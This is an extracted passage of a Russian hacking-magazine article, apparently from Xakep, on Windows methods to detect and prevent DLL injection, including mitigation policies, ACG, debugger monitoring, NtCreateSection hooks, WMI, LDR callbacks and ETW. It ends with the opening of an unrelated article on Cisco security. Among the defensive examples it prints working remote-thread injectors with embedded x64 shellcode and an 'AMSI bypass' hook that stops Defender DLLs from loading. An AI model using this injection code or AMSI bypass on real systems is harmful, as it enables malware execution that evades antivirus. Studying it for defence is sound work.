   switch (fdwReason) {
  case DLL_PROCESS_ATTACH:
      DWORD dwProcessId = GetCurrentProcessId();
      

     
 

HANDLE hFile = CreateFileA("A:\\ssd\\ProjectsVS\\DllCpp\\x64\\
Debug\\hi.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
      if (hFile != INVALID_HANDLE_VALUE)
   {

     
  

     std::string content = "Process ID: " + std::to_string(
dwProcessId) + "\r\n";

      DWORD bytesWritten;
   

 
     WriteFile(hFile, content.c_str(), content.size(), &bytesWritten
, NULL);
     CloseHandle(hFile);
   }
 }
 return(TRUE);
}

Здесь нет ничего слож ного — соз дание фай ла и запись в него PID текуще го
про цес са. Сна чала про верим работу на безобид ном про цес се, нап ример

 с PID 8968.GoogleCrashHandler.exe

Внед рение в про цесс работа ет

Те перь поп робу ем внед рить ся в защищен ный про цесс.

Ин жект не сра ботал

Не уда ча! Инжект не сра ботал.
Ес ли поп робу ем внед рить ся через Process Hacker, тоже стол кнем ся

с невоз можностью выпол нения нашей биб лиоте ки.

SETPROCESSMITIGATIONPOLICY

Эту  так же мож но исполь зовать для пре дот вра щения под груз ки
в наш про цесс левых DLL. Заметь, что подоб ное пре дот вра щение под груз ки
либ при меня ется к текуще му про цес су и толь ко пос ле вызова этой фун кции.
Если же хакер внед ряет свою биб лиоте ку до вызова этой фун кции, то у него
все получит ся. Если пос ле, то ничего не вый дет. И опять же единс твен ное
исклю чение — DLL, под писан ные в Microsoft. Они все рав но без проб лем
смо гут внед рять ся в наш про цесс.

фун кцию

Здесь код будет поп роще, чем в прош лый раз.

#include <Windows.h>
#include <iostream>

  int main() {

      PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY Struct = { 0 };

   Struct.MicrosoftSignedOnly = 1;

    
 

if (!SetProcessMitigationPolicy(ProcessSignaturePolicy, &Struct,
sizeof(Struct))) {
   
 

printf("[!] SetProcessMitigationPolicy Failed With Error : %d \n"
, GetLastError());
 }
 getchar();

  return 0;
}

За пус каем.

Про цесс с огра ниче нием

Вновь попыт ка внед рить ся ока жет ся безус пешной.

Внед рить ся невоз можно

Продолжение статьи →

https://t.me/Michaelzhm
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy


ИЗУЧАЕМ МЕТОДЫ
ПРЕДОТВРАЩЕНИЯ ПОДГРУЗКИ

DLL

КОДИНГ  НАЧАЛО СТАТЬИ←

ÂÊËÞ×ÅÍÈÅ ACG

ACG (он же ) — спе циаль ный механизм

в Windows, который пре дот вра щает выделе ние или изме нение стра ниц
в памяти, име ющих бит Execute. Это нес коль ко усложня ет внед рение биб- 
лиотек.

ProcessDynamicCodePolicy

Пос ле вклю чения ACG ядро Windows пре дот вра щает соз дание и изме- 
нение исполня емых стра ниц в памяти. При этом работа ют сле дующие пра- 
вила:
1. Стра ницы с кодом счи тают ся неиз менны ми. Сущес тву ющие кодовые стра- 

ницы нель зя сде лать дос тупны ми для записи, они всег да име ют пред- 
назна чен ное для них содер жимое. Для это го соз дают ся допол нитель ные
про вер ки в дис петче ре памяти. Нап ример, боль ше нель зя исполь зовать

 для пре обра зова ния стра ницы в памяти
в .
VirtualProtect()

PAGE_EXECUTE_READWRITE

2. Новые непод писан ные стра ницы с кодом соз давать нель зя. Нап ример,
не вый дет исполь зовать  для соз дания стра ницы с раз- 
решени ями .

VirtualAlloc()

PAGE_EXECUTE_READWRITE

Вот при мер кода, который вклю чает ACG:

#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>

 int main()
{
  STARTUPINFOEX si;
  DWORD oldProtection;

  PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
  ZeroMemory(&policy, sizeof(policy));
   policy.ProhibitDynamicCode = 1;

         void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
     if (mem == NULL) {
   printf("[!] Error allocating RWX memory\n");
 }
  else {
    printf("[*] RWX memory allocated: %p\n", mem);
 }

 printf("[*] Now running SetProcessMitigationPolicy to apply 
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");

    
   

if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy,
sizeof(policy)) == false) {
   printf("[!] SetProcessMitigationPolicy failed\n");
    return 0;
 }

        mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
     if (mem == NULL) {
   printf("[!] Error allocating RWX memory\n");
 }
  else {
    printf("[*] RWX memory allocated: %p\n", mem);
 }

    
 

void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.
dll"), "NtAllocateVirtualMemory");

    
  

if (!VirtualProtect(ntAllocateVirtualMemory, 4096,
PAGE_EXECUTE_READWRITE, &oldProtection)) {
   

 
printf("[!] Error updating NtAllocateVirtualMemory [%p] memory 

to RWX\n", ntAllocateVirtualMemory);
 }
  else {
   
 

printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n"
, ntAllocateVirtualMemory);
 }

  return 0;
}

Тем не менее этот метод нам не очень под ходит, так как его лег ко обой ти:
дос таточ но инжектить ся в реги оны, уже име ющие ста тус RWX. Нап ример, вот
так:

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

 int main()
{
    MEMORY_BASIC_INFORMATION mbi = {};
    LPVOID offset = 0;
    HANDLE process = NULL;
     HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
   processEntry.dwSize = sizeof(PROCESSENTRY32);
    DWORD bytesWritten = 0;
     unsigned char shellcode[] = "...";

  Process32First(snapshot, &processEntry);
   while (Process32Next(snapshot, &processEntry))
 {
       process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.
th32ProcessID);
    if (process)
   {

         std::wcout << processEntry.szExeFile << "\n";
         while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))

     {
           offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize

);
     

      
       if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.
State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
       {

                 std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress <<
"\n";

   
 

         WriteProcessMemory(process, mbi.BaseAddress, shellcode,
sizeof(shellcode), NULL);

   
   

         CreateRemoteThread(process, NULL, NULL, (
LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
       }
     }

       offset = 0;
   }
   CloseHandle(process);
 }

  return 0;
}

Дру гой вари ант — инжектить ся через уда лен ные потоки. К моему удив лению,
в ответ на такой инжект защита не сра бота ла.

#include <iostream>
#include <Windows.h>

     int main(int argc, char *argv[]) {
   unsigned char shellcode[] =

 "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
 "\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58"
 "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78"
 "\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e"
 "\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09"
 "\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3"
 "\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
 "\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d"
 "\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8"
 "\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69"
 "\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1"
 "\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e"
 "\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f"
 "\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa"
 "\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e"
 "\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2"
 "\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5"
 "\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3"
 "\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61"
 "\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
 "\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2"
 "\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63"
 "\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
 "\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55"
 "\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec"
 "\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b"
 "\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d"
 "\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b"
 "\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2"
 "\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
 "\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8"
 "\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61"
 "\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad"
 "\x94\x64\x5d\xae\x2b\x90\xe1\xec";

  HANDLE processHandle;
  HANDLE remoteThread;
  PVOID remoteBuffer;

  printf("Injecting to PID: %i", atoi(argv[1]));
     processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(
argv[1])));
      
    
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode

, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
     

 
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof

shellcode, NULL);
      

   
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (

LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
 CloseHandle(processHandle);
}

ÇÀÏÓÑÊ ÏÐÎÖÅÑÑÀ Ñ DEBUG

Ме тод осно ван на запус ке про цес са с фла гом .
Это при водит к тому, что родитель ский про цесс может дей ство вать в качес- 
тве отладчи ка для нового про цес са. Так наша прог рамма может уста новить
собс твен ные кол бэки, которые будут выз ваны при появ лении опре делен ных
событий. Таким обра зом мы можем кон тро лиро вать все, что про исхо дит
с про цес сом. Для пре дот вра щения под груз ки DLL нуж но уста новить флаг

, который сра бота ет пос ле заг рузки DLL-биб лиоте ки
в про цесс, но до того, как из нее будет выз вана фун кция .

DEBUG_ONLY_THIS_PROCESS

LOAD_DLL_DEBUG_EVENT
DllMain()

Фак тичес ки наш родитель ский про цесс прос то будет про верять заг ружа- 
емую в дочер ний про цесс DLL. Если это была нелеги тим ная DLL, то фун кция
прос то про пат чит ее , и ини циали зиро вать DLL будет невоз- 
можно.

Entrypoint

Как дела ет SharpBlock

На GitHub есть два про екта, реали зующих этот метод:
;• DebugAmsi
.• SharpBlock

Пред лагаю написать минималь ный PoC — будем запус кать каль кулятор
и отсле живать его биб лиоте ки.

#include <Windows.h>
#include <iostream>
#include <string>

   DWORD WINAPI DebugLoop(LPVOID lpParam)
{
    HANDLE hProcess = static_cast<HANDLE>(lpParam);
  DEBUG_EVENT debugEvent;
    DWORD continueStatus = DBG_CONTINUE;

   while (WaitForDebugEvent(&debugEvent, INFINITE))
 {
    switch (debugEvent.dwDebugEventCode)
   {
    case LOAD_DLL_DEBUG_EVENT:
   {

      char szName[MAX_PATH];
  

  
     if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile,
szName, MAX_PATH, VOLUME_NAME_DOS))
     {

             std::cout << "DLL Loaded: " << szName << std::endl;
    

  
       std::cout << "Base Address: " << debugEvent.u.LoadDll.
lpBaseOfDll << std::endl;

     }
     CloseHandle(debugEvent.u.LoadDll.hFile);
     break;
   }
   }

     ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId,
continueStatus);
 }

  return 0;
}

 int main()
{
    LPCWSTR exePath = L"c:\\windows\\system32\\calc.exe";
  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  ZeroMemory(&si, sizeof(si));
   si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

       
    

if (!CreateProcess(exePath, NULL, NULL, NULL, FALSE,
DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi))
 {
     std::cerr << "Unable to create process!";
    return 1;
 }

 DebugLoop((LPVOID)pi.hProcess);

 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);

  return 0;
}

Код про ще некуда: сна чала идет стан дар тное соз дание про цес са, затем
в бес конеч ном цик ле ловим Debug-события с помощью фун кции

, а затем обра баты ваем событие .WaitForDebugEvent() LOAD_DLL_DEBUG_EVENT

По луче ние информа ции

Как ты понима ешь, с базовым адре сом биб лиоте ки мож но обратно перех- 
ватить кон троль у ата кующе го, про пат чить Entrypoint, снять хук и так далее.

Кста ти, мы можем при цепить ся и к уже работа юще му про цес су с помощью
фун кции . Под робно эту фун кцию я раз бирал в статье
« ».

DebugActiveProcess()
Злой отладчик

ÕÓÊ ÍÀ NTCREATESECTION

Ïðîñòîé âàðèàíò

Этот спо соб обхо да осно ван на перех вате фун кции ,

которая вызыва ется при попыт ке заг рузить DLL в адресное прос транс тво
про цес са.

NtCreateSection()

Ес ли мы можем пос тавить хук на  (либо ,

либо ), то у нас получит ся перех ватить попыт ку мап- 
пинга в память про цес са кода DLL, а затем вер нуть  —

это будет озна чать, что мап пинг невоз можен. Как следс твие, биб лиоте ка
не будет заг ружена. Либо можем вер нуть фей ковый хендл на заг ружен ную
биб лиоте ку, что так же сде лает ее выпол нение невоз можным.

NtCreateSection() NtOpenFile()
NtMapViewOfSection()

NTSTATUS FAILED

Проб лема это го метода лишь в том, что он сра бота ет толь ко для DLL,
которые будут под гру жать ся в про цесс пос ле уста нов ки хука. Если они под- 
гру жают ся рань ше, то ничего не сра бота ет. Тем не менее есть более хит рый
вари ант.

Обыч но этот метод исполь зует ся анти виру сами, что бы отсле живать, что
мап пится в память. При чем мы можем пос тавить этот хук как в сво ем про цес- 
се, так и в чужом, если смо жем зап росить на него мас ку дос тупа

.PROCESS_VM_WRITE
Хук мы можем пос тавить на , 

или . Ког да уви дим, что злов редная биб лиоте ка пыта- 

ется заг рузить ся, пре дот вра тим это, вер нув невер ный дес крип тор DLL.

NtOpenFile() NtCreateSection()
NtMapViewOfSection()

Для этой тех ники есть пол ноцен ный  на GitHub.PoC
В при мере будем исполь зовать хук на . Основная

логика — в этих строч ках кода:

NtCreateSection()

  std::string data_hash2[] =
{
  "fbd13447dcd3ab91bb0d2324e11eca986967c99dcd324b00f9577010c6080413",
//SHA256 of the UNC Path of the AMSI dll and other Windows Defender 
injected DLLs
 "856efe1b2c5b5716b4d373bb7205e742da90d51256371c582ce82b353d900186",
 "d8d52609d0c81d70bf44cb3cd5732a1c232cc20c25342d0a118192e652a12d98",
 "a75589e0d1b5b8f0ad28f508ed28df1b4406374ac489121c895170475fe3ef74"

 }; //array with the file hashes

      
      
       

      

NTSTATUS ntCreateMySection(OUT PHANDLE SectionHandle, IN ULONG
DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN
PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN
ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL) /*Bypass 
AMSI*/
{
    int isFinal = 0;
  char lpFilename[256];
    if (FileHandle != NULL)
 {

        
    

DWORD res = GetFinalPathNameByHandleA(FileHandle, lpFilename, 256
, FILE_NAME_OPENED | VOLUME_NAME_DOS); //Get the file path of the 
file handle
      if (res == 0)

      printf("GetFinalPathNameByHandleA error: %d\n", GetLastError())
;

   else
   {

         std::string hash = sha256(std::string(lpFilename)); //Compute 
the SHA256 hash of the file path (only the hash of the name, not the 
file)

      
 

     unsigned int arrSize = sizeof(data_hash2) / sizeof(data_hash[0
]); //Get the size of the array

              for (int counter = 0; counter < arrSize; counter++) //Loop 
each position of the array
     {

           if (hash.compare(data_hash2[counter]) == 0) //If hash of the 
DLL to load is equal to any of the array hashes return 0
       {

          return -1;
       }
     }
   }
 }
   

    
 

restore_hook_ntcreatesection(SectionHandle, DesiredAccess,
ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes,
FileHandle); //If it's not an AMSI DLL restore the original 
NtCreateSection
  return 1;
}

В начале кода — мас сив, содер жащий спи сок хешей от имен DLL, заг рузку
которых мы хотим обра баты вать. Пол ный путь до под гру жаемой биб лиоте ки
получен с помощью .GetFinalPathNameByHandleA()

Ес ли хеш содер жится в нашем спис ке, то воз вра щаем ошиб ку (
в  рав нознач но ошиб ке), если нет, то дер гаем реаль ный

 и поз воля ем про цес су нор маль но обра баты вать заг- 

рузку.

-1
NTSTATUS

NtCreateSection()

Ес ли хеша в мас сиве нет, перенап равля ем поток управле ния к реаль ному
 и поз волим про цес су мап пить биб лиоте ку.NtCreateSection()

Ìîäèôèöèðîâàííûé âàðèàíò

Пре дыду щую тех нику мож но усо вер шенс тво вать.
Про цесс, соз данный с фла гом  или ,

будет иметь в адресном прос транс тве толь ко одну DLL — . Такова

осо бен ность Windows. Пом нишь глав ный минус хука 

в рас смот ренном выше прос том вари анте? Если хук очень дол го ста вит ся, то
биб лиоте ки успе ют под гру зить ся!

CREATE_SUSPENDED DEBUG_PROCESS
ntdll.dll

NtCreateSection()

Имен но поэто му мы дол жны запус кать про цесс в при оста нов ленном виде,
ста вить хук на  и лишь затем возоб новлять про цесс. Тог- 
да мы смо жем кон тро лиро вать абсо лют но все заг ружа емые в про цесс биб- 
лиоте ки. Даже муха не прос кочит!

NtCreateSection()

На этом осно ван PoC .Ruy-Lopez

Продолжение статьи →
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https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-waitfordebugevent
https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-debugactiveprocess
https://xakep.ru/2023/11/21/evil-debugger/
https://github.com/waawaa/AMSI_Rubeus_bypass
https://github.com/S3cur3Th1sSh1t/Ruy-Lopez


ИЗУЧАЕМ МЕТОДЫ
ПРЕДОТВРАЩЕНИЯ ПОДГРУЗКИ

DLL

КОДИНГ  НАЧАЛО СТАТЬИ←

WMI

У WMI есть отличный класс , в котором куча информа- 
ции! Мож но под писать ся на него, а затем узна вать бук валь но обо всех слу- 
чаях под груз ки биб лиотек в Windows. Информа цию смо жем извлечь сле- 
дующую:

Win32_ModuleLoadTrace

[AMENDMENT]
   class Win32_ModuleLoadTrace : Win32_ModuleTrace

{
   uint8 SECURITY_DESCRIPTOR[];
  uint64 TIME_CREATED;
  string FileName;
  uint64 DefaultBase;
  uint64 ImageBase;
  uint32 ImageChecksum;
  uint64 ImageSize;
  uint32 ProcessID;
  uint32 TimeDateSTamp;
};

Единс твен ный минус — на «плю сах» тяж ко работать с WMI. Поэто му перей- 
дем на C#. У C# есть класс , который поз воля ет под- 
писать ся на опре делен ные события. Под писка зак люча ется в регис тра ции
кол бэка, который будет вызывать ся каж дый раз при появ лении события.

ManagementEventWatcher

 using System;
 using System.Diagnostics;
 using System.Management;

  public class Program
{
    public static void Main()
 {
       ManagementEventWatcher watcher = new ManagementEventWatcher(

      new WqlEventQuery("SELECT * FROM Win32_ModuleLoadTrace"));

      watcher.EventArrived += new EventArrivedEventHandler(
ModuleLoadHandler);

   watcher.Start();

   Console.WriteLine("Monitoring DLL loading. Press any key to exit.
");
   Console.ReadKey();

   watcher.Stop();
   watcher.Dispose();
 }

     public static string GetProcessNameByPid(string pidString)
 {
      string processName = "Unknown";

       if (int.TryParse(pidString, out int pid))
   {
     try
     {

          Process process = Process.GetProcessById(pid);
         processName = process.ProcessName;

     }
       catch (ArgumentException ex)

     {
       Console.WriteLine($"No process with PID {pid} is currently 
running: {ex.Message}");
     }

       catch (Exception ex)
     {
       Console.WriteLine($"Error retrieving process name: {ex.
Message}");
     }
   }
   else
   {
     Console.WriteLine($"Invalid PID format: {pidString}");
   }

    return processName;
 }

      
 

private static void ModuleLoadHandler(object sender,
EventArrivedEventArgs e)
 {
      ManagementBaseObject evt = e.NewEvent;
   Console.WriteLine("NEW DLL Loaded");
     Console.WriteLine("\tFileName: " + evt["FileName"]);
     Console.WriteLine("\tBaseAddress: 0x" + ((UInt64)evt["ImageBase"
]).ToString("X"));
     Console.WriteLine("\tSize: " + evt["ImageSize"]);
     Console.WriteLine("\tPID: " + evt["ProcessID"]);
     Console.WriteLine("\tProcessName: " + GetProcessNameByPid(evt[
"ProcessID"].ToString()));
 }
}

В качес тве кол бэка ука зыва ем фун кцию , где обра- 
баты ваем и извле каем инфу из клас са .

ModuleLoadHandler()
Win32_ModuleLoadTrace

Ин форма ция о биб лиоте ках

Есть и более серь езные PoC, нап ример .ModuleMonitor

DLL NOTIFICATION CALLBACKS

Сам механизм DLL Notication слу жит для защиты от DLL Proxying. Этот
механизм поз воля ет зарегис три ровать кол бэк, который вызыва ется при под- 
груз ке DLL или выг рузке ее из про цес са.

Для это го исполь зует ся спе циаль ная фун кция :LdrDllNotication

VOID CALLBACK LdrDllNotification(
 _In_   ULONG             NotificationReason, 
 _In_   PCLDR_DLL_NOTIFICATION_DATA NotificationData, 
 _In_opt_ PVOID             Context 
);

С помощью этой фун кции мож но зарегис три ровать кол бэк, который будет
выз ван при заг рузке в про цесс или выг рузке DLL. Сам кол бэк опре делен
в . При чем кол бэков мож но регис три ровать неог- 
раничен ное количес тво — все они будут выз ваны по оче реди.

LdrRegisterDllNotication

Кста ти, этот механизм исполь зует Discord!
Единс твен ный минус — здесь исполь зует ся куча струк тур, которые при дет- 

ся объ являть вруч ную.

#include <Windows.h>
#include <stdio.h>

  typedef struct _UNICODE_STR
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR pBuffer;
   } UNICODE_STR, * PUNICODE_STR;

   typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
 ULONG       Flags;       // Reserved.
       PUNICODE_STR FullDllName; // The full path name of the DLL 
module.
       PUNICODE_STR BaseDllName; // The base file name of the DLL 
module.
 PVOID       DllBase;       // A pointer to the base address for 
the DLL in memory.
      ULONG       SizeOfImage; // The size of the DLL image, in 
bytes.
   } LDR_DLL_LOADED_NOTIFICATION_DATA, *

PLDR_DLL_LOADED_NOTIFICATION_DATA;

   typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
 ULONG       Flags;       // Reserved.
       PUNICODE_STR FullDllName; // The full path name of the DLL 
module.
       PUNICODE_STR BaseDllName; // The base file name of the DLL 
module.
 PVOID       DllBase;       // A pointer to the base address for 
the DLL in memory.
      ULONG       SizeOfImage; // The size of the DLL image, in 
bytes.
   } LDR_DLL_UNLOADED_NOTIFICATION_DATA, *

PLDR_DLL_UNLOADED_NOTIFICATION_DATA;

   typedef union _LDR_DLL_NOTIFICATION_DATA {
    LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;
  LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;
   } LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA;

  typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)(
 ULONG             NotificationReason,
   PLDR_DLL_NOTIFICATION_DATA NotificationData,
 PVOID             Context);

   typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
 LIST_ENTRY           List;
  PLDR_DLL_NOTIFICATION_FUNCTION Callback;
 PVOID              Context;
   } LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;

   typedef NTSTATUS(NTAPI* _LdrRegisterDllNotification) (
 ULONG              Flags,
  PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
 PVOID              Context,
  PVOID* Cookie);

   typedef NTSTATUS(NTAPI* _LdrUnregisterDllNotification)(PVOID Cookie);

    
   

VOID MyCallback(ULONG NotificationReason, const
PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
  printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.
BaseDllName);
}

 int main()
{
    HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");

     if (hNtdll != NULL) {

      
 

_LdrRegisterDllNotification pLdrRegisterDllNotification = (
_LdrRegisterDllNotification)GetProcAddress(hNtdll,
"LdrRegisterDllNotification");

    PVOID cookie;
       

  
NTSTATUS status = pLdrRegisterDllNotification(0, (

PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
       if (status == 0) {
     printf("[+] Successfully registered callback\n");
   }
   printf("[+] Press enter to continue\n");
   getchar();

   printf("[+] Loading USER32 DLL now\n");
   LoadLibraryA("USER32.dll");
 }
}

Ин форма ция о DLL

ETW (KERNEL PROVIDER)

Этот под ход, я думаю, мож но счи тать наибо лее эффектив ным. Проб лема
лишь в том, что пот ребу ется запуск нашего кода от лица локаль ного адми нис- 
тра тора либо любого дру гого при виле гиро ван ного поль зовате ля.

Ес ли углублять ся в то, как прог рамми ровать под ETW, то при дет ся писать
целый цикл ста тей, но не рас ска зать об этом спо собе я пос читал прес тупле- 
нием, поэто му рас смот рим все на некото ром уров не абс трак ций.

Один из фун дамен тов ETW — про вай деры. Про вай деры генери рует
события. Есть осо бый тип про вай деров — Kernel Provider. Его имя — Windows
Kernel Trace, а вот его GUID:

9E814AAD-3204-11D2-9A82-006008A86939 

К нему тоже мож но получить дос туп с помощью перемен ной
, опре делен ной в . Этот про вай дер

поз волит нам отсле живать события, харак терные для ядра Windows. Нап- 
ример, запуск про цес сов, под груз ку биб лиоте ки и про чее.

SystemTraceControlGuid evntrace.h

Изу чить дос тупные события, которые генери рует про вай дер, мож но
с помощью вот такой коман ды:

logman query providers "Windows Kernel Trace"

Что пре дос тавля ет Kernel Provider

Опи сания отдель ных событий ядра ты най дешь 
.

в
докумен тации

До Windows 8 с про вай дером ядра мож но было уста новить толь ко один
сеанс, который дол жен был называть ся NT Kernel Logger. К счастью, сей час
такие огра ниче ния сня ты, сес сий может быть бес конеч но мно го, а имя сес- 
сии может быть любым.

Яд ро может одновре мен но сооб щать сра зу о раз ных типах событий. Нап- 
ример, о соз дании про цес са и о под груз ке биб лиоте ки.

При мер кода для под писи на Kernel Provider мож но взять . Этот
код отлично под ходит для иллюс тра ции воз можнос тей ETW.

на GitHub

Для извле чения информа ции о под гру жаемых биб лиоте ках нас трой про ект
так, как на скрин шоте.

Нас трой ка Visual Studio

И смо жешь извле кать информа цию о биб лиоте ках!

ETW и под груз ка биб лиотек

ÂÛÂÎÄÛ

Об наружить, пре дот вра тить, обез вре дить... Раз работ чикам теперь недос- 
таточ но прос то писать код. Нуж но уметь еще и защитить его. К счастью,
методов очень мно го, но сто ит пом нить, что на любую защиту най дет ся ата ка.
Таков мир информа цион ной безопас ности!

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace
https://learn.microsoft.com/ru-ru/dotnet/api/system.management.managementeventwatcher?view=dotnet-plat-ext-8.0
https://github.com/TheWover/ModuleMonitor
https://learn.microsoft.com/en-us/windows/win32/devnotes/ldrdllnotification
https://learn.microsoft.com/en-us/windows/win32/devnotes/ldrregisterdllnotification
https://docs.microsoft.com/en-us/windows/win32/etw/msnt-systemtrace
https://github.com/zodiacon/Win10SysProgBookSamples/blob/master/Chapter20/KernelETW/KernelETW.cpp
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АДМИН

Бе зопас ность телеком муника цион ных
устрой ств — воп рос острый, осо бен но
в пос леднее вре мя. Ата ки на инфраструк- 
туры про вай деров про исхо дят все чаще.
В этой статье я рас ска жу, как мож но
защитить сетевое обо рудо вание от потен- 
циаль ного втор жения.

Это «VIP-ремикс» моей статьи , в которой я про демонс три ровал спо- 
собы защиты локаль ной сети от спу финг-атак. В этот раз я рас ширю обзор
механиз мов безопас ности обо рудо вания и опи шу новые тех ники защиты.

Save Me

Все коман ды я буду демонс три ровать на Cisco IOS. Одна ко сами механиз- 
мы безопас ности реали зова ны у всех вен доров, отли чия лишь в иерар хии
рас положе ния ком понен тов и син такси се.

